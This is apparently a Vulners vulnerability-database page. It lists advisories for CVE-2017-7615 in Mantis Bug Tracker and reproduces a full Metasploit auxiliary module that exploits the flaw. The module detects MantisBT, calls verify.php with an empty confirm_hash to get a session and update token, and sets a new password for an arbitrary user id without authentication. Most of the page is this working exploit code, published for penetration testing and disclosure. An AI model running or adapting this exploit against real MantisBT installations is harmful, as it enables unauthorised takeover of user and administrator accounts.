| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Mantis Bug Tracker 1.3.0/2.3.0 - Password Reset Exploit | 17 Apr 201700:00 | – | zdt | |
| CVE-2017-7615 | 16 Apr 201700:00 | – | circl | |
| MantisBT Arbitrary Password Reset Vulnerability | 18 Apr 201700:00 | – | cnvd | |
| Mantis Bug Tracker verify.php confirm_hash Remote Password Reset (CVE-2017-7615) | 15 May 201700:00 | – | checkpoint_advisories | |
| CVE-2017-7615 | 16 Apr 201714:45 | – | cve | |
| CVE-2017-7615 | 16 Apr 201714:45 | – | cvelist | |
| Mantis Bug Tracker 1.3.0/2.3.0 - Password Reset | 16 Apr 201700:00 | – | exploitdb | |
| Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated) | 18 Sep 202000:00 | – | exploitdb | |
| Mantis Bug Tracker 1.3.02.3.0 - Password Reset | 16 Apr 201700:00 | – | exploitpack | |
| MantisBT allows arbitrary password reset | 13 May 202201:16 | – | github |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MantisBT password reset',
'Description' => %q{
MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.
},
'License' => MSF_LICENSE,
'Author' => [
'John (hyp3rlinx) Page', # initial discovery
'Julien (jvoisin) Voisin' # metasploit module
],
'References' => [
['CVE', '2017-7615'],
['EDB', '41890'],
['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],
['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']
],
'Platform' => ['win', 'linux'],
'DisclosureDate' => '2017-04-16'
)
)
register_options(
[
OptString.new('USERID', [ true, 'User id to reset', 1]),
OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
]
)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/login_page.php'),
'method' => 'GET'
})
if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')
vprint_status('MantisBT detected')
return Exploit::CheckCode::Detected
else
vprint_status('Not a MantisBT Instance!')
return Exploit::CheckCode::Safe
end
rescue Rex::ConnectionRefused
print_error('Connection refused by server.')
return Exploit::CheckCode::Safe
end
def run
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/verify.php'),
'method' => 'GET',
'vars_get' => {
'id' => datastore['USERID'],
'confirm_hash' => ''
}
})
if !res || !res.body
fail_with(Failure::UnexpectedReply, 'Error in server response. Ensure the server IP is correct.')
end
cookie = res.get_cookies
if cookie == '' || !(res.body.include? 'Your account information has been verified.')
fail_with(Failure::NoAccess, 'Authentication failed')
end
if datastore['PASSWORD'].blank?
password = Rex::Text.rand_text_alpha(8)
else
password = datastore['PASSWORD']
end
if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/
token = ::Regexp.last_match(1)
else
fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/account_update.php'),
'method' => 'POST',
'vars_post' => {
'verify_user_id' => datastore['USERID'],
'account_update_token' => ::Regexp.last_match(1),
'realname' => Rex::Text.rand_text_alpha(rand(8..12)),
'password' => password,
'password_confirm' => password
},
'cookie' => cookie
})
if res && res.body && res.body.include?('Password successfully updated')
print_good("Password successfully changed to '#{password}'.")
else
fail_with(Failure::UnexpectedReply, 'Something went wrong, the password was not changed.')
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation